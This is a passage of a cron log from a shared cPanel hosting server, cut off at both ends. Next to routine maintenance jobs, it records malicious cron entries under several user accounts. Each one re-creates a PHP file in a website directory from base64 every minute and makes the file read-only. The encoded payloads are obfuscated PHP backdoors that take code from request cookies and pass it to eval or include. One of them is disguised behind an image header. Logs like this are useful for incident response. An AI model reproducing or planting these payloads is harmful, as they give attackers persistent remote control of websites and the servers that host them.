kgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:53:01 medusa CROND[4896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:53:01 medusa CROND[4897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:53:01 medusa CROND[4900]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:53:01 medusa CROND[4901]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:53:01 medusa CROND[4906]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:53:01 medusa CROND[4907]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:53:01 medusa CROND[4908]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:53:01 medusa CROND[4909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:53:01 medusa CROND[4917]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:53:01 medusa CROND[4919]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 06:53:01 medusa CROND[4920]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:54:01 medusa CROND[28786]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 06:54:01 medusa CROND[28791]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 06:54:01 medusa CROND[28792]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:54:01 medusa CROND[28793]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:54:01 medusa CROND[28794]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:54:01 medusa CROND[28796]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 06:54:01 medusa CROND[28797]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:54:01 medusa CROND[28795]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 06:54:01 medusa CROND[28802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:54:01 medusa CROND[28803]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:54:01 medusa CROND[28806]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:54:01 medusa CROND[28807]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:54:01 medusa CROND[28805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20022]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 06:55:01 medusa CROND[20134]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 06:55:01 medusa CROND[20135]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20152]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 06:55:01 medusa CROND[20155]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 06:55:01 medusa CROND[20154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20157]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 06:55:01 medusa CROND[20167]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20169]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 06:55:01 medusa CROND[20170]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 06:55:01 medusa CROND[20160]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20175]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 06:55:01 medusa CROND[20176]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 06:55:01 medusa CROND[20158]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 06:55:01 medusa CROND[20177]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFs